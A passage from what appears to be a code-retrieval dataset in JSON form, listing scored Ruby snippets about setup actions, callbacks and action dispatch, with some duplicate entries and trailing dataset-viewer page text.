}\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.